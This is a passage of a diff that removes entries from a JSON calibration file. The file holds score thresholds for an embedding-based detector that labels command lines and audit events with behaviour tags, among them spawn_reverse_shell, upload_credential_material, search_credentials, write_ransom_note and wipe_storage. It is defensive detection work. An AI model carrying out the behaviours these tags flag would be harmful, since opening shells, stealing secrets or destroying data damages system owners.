-      "threshold": 0.5815,
-      "tp_p50": 0.7166,
-      "tp_samples": 401
-    },
-    "read_auth_policy": {
-      "threshold": 0.5913,
-      "tp_p50": 0.708,
-      "tp_samples": 255
-    },
-    "read_business_config": {
-      "threshold": 0.573,
-      "tp_p50": 0.7066,
-      "tp_samples": 556
-    },
-    "read_business_data": {
-      "threshold": 0.5044,
-      "tp_p50": 0.5981,
-      "tp_samples": 1378
-    },
-    "read_business_log": {
-      "threshold": 0.593,
-      "tp_p50": 0.8009,
-      "tp_samples": 662
-    },
-    "read_cloud_credentials": {
-      "threshold": 0.5766,
-      "tp_p50": 0.6589,
-      "tp_samples": 199
-    },
-    "read_cloud_metadata": {
-      "threshold": 0.6711,
-      "tp_p50": 0.7561,
-      "tp_samples": 121
-    },
-    "read_cloud_secret": {
-      "threshold": 0.6307,
-      "tp_p50": 0.824,
-      "tp_samples": 189
-    },
-    "read_cluster_context": {
-      "threshold": 0.5555,
-      "tp_p50": 0.6431,
-      "tp_samples": 186
-    },
-    "read_cluster_secret": {
-      "threshold": 0.612,
-      "tp_p50": 0.8,
-      "tp_samples": 197
-    },
-    "read_container_secret": {
-      "threshold": 0.5712,
-      "tp_p50": 0.6793,
-      "tp_samples": 180
-    },
-    "read_coordination_data": {
-      "threshold": 0.7039,
-      "tp_p50": 0.7474,
-      "tp_samples": 158
-    },
-    "read_credential_material": {
-      "threshold": 0.45,
-      "tp_p50": 0.539,
-      "tp_samples": 4514
-    },
-    "read_environment_variables": {
-      "threshold": 0.5342,
-      "tp_p50": 0.6371,
-      "tp_samples": 452
-    },
-    "read_identity_data": {
-      "threshold": 0.5427,
-      "tp_p50": 0.6972,
-      "tp_samples": 836
-    },
-    "read_infrastructure_config": {
-      "threshold": 0.4802,
-      "tp_p50": 0.597,
-      "tp_samples": 3428
-    },
-    "read_infrastructure_log": {
-      "threshold": 0.5814,
-      "tp_p50": 0.7718,
-      "tp_samples": 863
-    },
-    "read_kernel_memory": {
-      "threshold": 0.6746,
-      "tp_p50": 0.7444,
-      "tp_samples": 106
-    },
-    "read_kernel_parameter": {
-      "threshold": 0.7379,
-      "tp_p50": 0.8214,
-      "tp_samples": 128
-    },
-    "read_kernel_state": {
-      "threshold": 0.6215,
-      "tp_p50": 0.7531,
-      "tp_samples": 214
-    },
-    "read_login_history": {
-      "threshold": 0.6663,
-      "tp_p50": 0.8171,
-      "tp_samples": 245
-    },
-    "read_mailbox": {
-      "threshold": 0.6736,
-      "tp_p50": 0.7956,
-      "tp_samples": 126
-    },
-    "read_packet_capture": {
-      "threshold": 0.6958,
-      "tp_p50": 0.7678,
-      "tp_samples": 173
-    },
-    "read_process_memory": {
-      "threshold": 0.5784,
-      "tp_p50": 0.6404,
-      "tp_samples": 236
-    },
-    "read_process_runtime": {
-      "threshold": 0.6308,
-      "tp_p50": 0.7139,
-      "tp_samples": 82
-    },
-    "read_scheduled_task": {
-      "threshold": 0.596,
-      "tp_p50": 0.7036,
-      "tp_samples": 410
-    },
-    "read_secret_store": {
-      "threshold": 0.6412,
-      "tp_p50": 0.7354,
-      "tp_samples": 217
-    },
-    "read_service_metrics": {
-      "threshold": 0.6333,
-      "tp_p50": 0.7737,
-      "tp_samples": 858
-    },
-    "read_shell_history": {
-      "threshold": 0.6107,
-      "tp_p50": 0.7245,
-      "tp_samples": 215
-    },
-    "read_source_code": {
-      "threshold": 0.549,
-      "tp_p50": 0.6913,
-      "tp_samples": 1112
-    },
-    "read_source_repository": {
-      "threshold": 0.601,
-      "tp_p50": 0.7912,
-      "tp_samples": 469
-    },
-    "read_ssh_policy": {
-      "threshold": 0.5349,
-      "tp_p50": 0.6313,
-      "tp_samples": 479
-    },
-    "read_sudo_policy": {
-      "threshold": 0.6356,
-      "tp_p50": 0.7335,
-      "tp_samples": 264
-    },
-    "read_system_audit_log": {
-      "threshold": 0.6108,
-      "tp_p50": 0.7247,
-      "tp_samples": 215
-    },
-    "read_system_config": {
-      "threshold": 0.5395,
-      "tp_p50": 0.6907,
-      "tp_samples": 557
-    },
-    "read_system_log": {
-      "threshold": 0.5752,
-      "tp_p50": 0.7797,
-      "tp_samples": 455
-    },
-    "read_verification_material": {
-      "threshold": 0.5356,
-      "tp_p50": 0.686,
-      "tp_samples": 713
-    },
-    "read_workload_logs": {
-      "threshold": 0.6746,
-      "tp_p50": 0.8214,
-      "tp_samples": 474
-    },
-    "reboot_host": {
-      "threshold": 0.6714,
-      "tp_p50": 0.7429,
-      "tp_samples": 122
-    },
-    "recover_deleted_content": {
-      "threshold": 0.6919,
-      "tp_p50": 0.7543,
-      "tp_samples": 111
-    },
-    "remove_file_capability": {
-      "threshold": 0.8531,
-      "tp_p50": 0.8878,
-      "tp_samples": 105
-    },
-    "remove_immutable_file_attribute": {
-      "threshold": 0.7735,
-      "tp_p50": 0.8178,
-      "tp_samples": 110
-    },
-    "renew_access_token": {
-      "threshold": 0.6825,
-      "tp_p50": 0.7983,
-      "tp_samples": 104
-    },
-    "resize_filesystem": {
-      "threshold": 0.745,
-      "tp_p50": 0.8272,
-      "tp_samples": 111
-    },
-    "revoke_access_token": {
-      "threshold": 0.6846,
-      "tp_p50": 0.7537,
-      "tp_samples": 112
-    },
-    "revoke_cloud_privilege": {
-      "threshold": 0.7746,
-      "tp_p50": 0.836,
-      "tp_samples": 126
-    },
-    "revoke_database_privilege": {
-      "threshold": 0.7833,
-      "tp_p50": 0.8434,
-      "tp_samples": 114
-    },
-    "revoke_infrastructure_privilege": {
-      "threshold": 0.7092,
-      "tp_p50": 0.8013,
-      "tp_samples": 104
-    },
-    "revoke_user_privilege": {
-      "threshold": 0.8201,
-      "tp_p50": 0.8396,
-      "tp_samples": 105
-    },
-    "run_performance_test": {
-      "threshold": 0.6329,
-      "tp_p50": 0.747,
-      "tp_samples": 251
-    },
-    "scan_container_image": {
-      "threshold": 0.6877,
-      "tp_p50": 0.7855,
-      "tp_samples": 157
-    },
-    "search_capability_files": {
-      "threshold": 0.7841,
-      "tp_p50": 0.8165,
-      "tp_samples": 118
-    },
-    "search_credentials": {
-      "threshold": 0.5261,
-      "tp_p50": 0.6297,
-      "tp_samples": 1488
-    },
-    "search_sensitive_files": {
-      "threshold": 0.629,
-      "tp_p50": 0.7257,
-      "tp_samples": 224
-    },
-    "search_sgid_files": {
-      "threshold": 0.7293,
-      "tp_p50": 0.7849,
-      "tp_samples": 108
-    },
-    "search_suid_files": {
-      "threshold": 0.7008,
-      "tp_p50": 0.7931,
-      "tp_samples": 131
-    },
-    "search_world_writable_files": {
-      "threshold": 0.7411,
-      "tp_p50": 0.7918,
-      "tp_samples": 120
-    },
-    "securely_delete_data": {
-      "threshold": 0.6477,
-      "tp_p50": 0.7378,
-      "tp_samples": 163
-    },
-    "send_mail": {
-      "threshold": 0.6474,
-      "tp_p50": 0.7676,
-      "tp_samples": 119
-    },
-    "send_multiplexer_input": {
-      "threshold": 0.7005,
-      "tp_p50": 0.7629,
-      "tp_samples": 104
-    },
-    "set_environment_variable": {
-      "threshold": 0.5429,
-      "tp_p50": 0.6587,
-      "tp_samples": 379
-    },
-    "set_file_capability": {
-      "threshold": 0.7549,
-      "tp_p50": 0.8531,
-      "tp_samples": 118
-    },
-    "set_immutable_file_attribute": {
-      "threshold": 0.7521,
-      "tp_p50": 0.8391,
-      "tp_samples": 124
-    },
-    "set_sgid_permission": {
-      "threshold": 0.7021,
-      "tp_p50": 0.8087,
-      "tp_samples": 106
-    },
-    "set_suid_permission": {
-      "threshold": 0.6472,
-      "tp_p50": 0.8004,
-      "tp_samples": 136
-    },
-    "shutdown_host": {
-      "threshold": 0.7429,
-      "tp_p50": 0.8095,
-      "tp_samples": 101
-    },
-    "sign_artifact": {
-      "threshold": 0.6007,
-      "tp_p50": 0.7622,
-      "tp_samples": 194
-    },
-    "simulate_package_install": {
-      "threshold": 0.6904,
-      "tp_p50": 0.7734,
-      "tp_samples": 119
-    },
-    "spawn_bind_shell": {
-      "threshold": 0.6993,
-      "tp_p50": 0.7846,
-      "tp_samples": 141
-    },
-    "spawn_interactive_shell": {
-      "threshold": 0.6019,
-      "tp_p50": 0.7026,
-      "tp_samples": 323
-    },
-    "spawn_reverse_shell": {
-      "threshold": 0.6407,
-      "tp_p50": 0.762,
-      "tp_samples": 157
-    },
-    "stage_hidden_path": {
-      "threshold": 0.475,
-      "tp_p50": 0.5506,
-      "tp_samples": 1580
-    },
-    "stage_temporary_path": {
-      "threshold": 0.45,
-      "tp_p50": 0.5089,
-      "tp_samples": 5179
-    },
-    "switch_user": {
-      "threshold": 0.6584,
-      "tp_p50": 0.832,
-      "tp_samples": 103
-    },
-    "synchronize_remote_data": {
-      "threshold": 0.5402,
-      "tp_p50": 0.6308,
-      "tp_samples": 641
-    },
-    "terminate_process": {
-      "threshold": 0.6858,
-      "tp_p50": 0.8069,
-      "tp_samples": 286
-    },
-    "trace_file_access": {
-      "threshold": 0.6703,
-      "tp_p50": 0.7392,
-      "tp_samples": 125
-    },
-    "trace_process_execution": {
-      "threshold": 0.595,
-      "tp_p50": 0.6884,
-      "tp_samples": 246
-    },
-    "train_mail_filter": {
-      "threshold": 0.7662,
-      "tp_p50": 0.8258,
-      "tp_samples": 108
-    },
-    "transfer_container_image": {
-      "threshold": 0.6308,
-      "tp_p50": 0.7484,
-      "tp_samples": 360
-    },
-    "uninstall_package": {
-      "threshold": 0.7557,
-      "tp_p50": 0.8029,
-      "tp_samples": 140
-    },
-    "unload_ebpf_program": {
-      "threshold": 0.7393,
-      "tp_p50": 0.7854,
-      "tp_samples": 106
-    },
-    "unload_kernel_module": {
-      "threshold": 0.7794,
-      "tp_p50": 0.855,
-      "tp_samples": 112
-    },
-    "update_package": {
-      "threshold": 0.6416,
-      "tp_p50": 0.7497,
-      "tp_samples": 187
-    },
-    "update_source_repository": {
-      "threshold": 0.6496,
-      "tp_p50": 0.7976,
-      "tp_samples": 261
-    },
-    "upload_credential_material": {
-      "threshold": 0.5148,
-      "tp_p50": 0.6378,
-      "tp_samples": 607
-    },
-    "upload_external_content": {
-      "threshold": 0.4733,
-      "tp_p50": 0.6018,
-      "tp_samples": 1886
-    },
-    "upload_internal_content": {
-      "threshold": 0.5028,
-      "tp_p50": 0.6081,
-      "tp_samples": 948
-    },
-    "upload_named_content": {
-      "threshold": 0.571,
-      "tp_p50": 0.687,
-      "tp_samples": 608
-    },
-    "upload_object_storage": {
-      "threshold": 0.5927,
-      "tp_p50": 0.6976,
-      "tp_samples": 510
-    },
-    "upload_sensitive_content": {
-      "threshold": 0.4861,
-      "tp_p50": 0.6173,
-      "tp_samples": 1424
-    },
-    "verify_artifact_integrity": {
-      "threshold": 0.6114,
-      "tp_p50": 0.738,
-      "tp_samples": 624
-    },
-    "verify_auth_policy": {
-      "threshold": 0.6804,
-      "tp_p50": 0.7732,
-      "tp_samples": 226
-    },
-    "wipe_storage": {
-      "threshold": 0.6448,
-      "tp_p50": 0.7406,
-      "tp_samples": 114
-    },
-    "write_executable_content": {
-      "threshold": 0.5265,
-      "tp_p50": 0.6483,
-      "tp_samples": 555
-    },
-    "write_kernel_module_content": {
-      "threshold": 0.6192,
-      "tp_p50": 0.7012,
-      "tp_samples": 110
-    },
-    "write_ransom_note": {
-      "threshold": 0.7066,
-      "tp_p50": 0.7899,
-      "tp_samples": 119
-    },
-    "write_secret_store": {
-      "threshold": 0.6641,
-      "tp_p50": 0.732,
-      "tp_samples": 121
-    },
-    "write_shared_library_content": {
-      "threshold": 0.6284,
-      "tp_p50": 0.7173,
-      "tp_samples": 133
-    },
-    "write_system_executable_content": {
-      "threshold": 0.6197,
-      "tp_p50": 0.7028,
-      "tp_samples": 112
-    },
-    "write_web_script_content": {
-      "threshold": 0.6228,
-      "tp_p50": 0.7186,
-      "tp_samples": 142
-    }
-  },
-  "max_threshold": 0.95,
-  "min_label_samples": 5,
-  "model": "models/v4-tags-embedding/gte-modernbert-rev20-behavior-full-corpus/model",
-  "percentile": 10.0,
-  "prompt_profile": "mid",
-  "prompt_profile_experimental": false,
-  "query_prefix": "observed command line or audit event",
-  "runtime_seconds": 36.743,
-  "schema": "agentsmith_rev20_score_calibration_v1",
-  "split": "train",
-  "tag_prefix": "behavior tag definition"
-}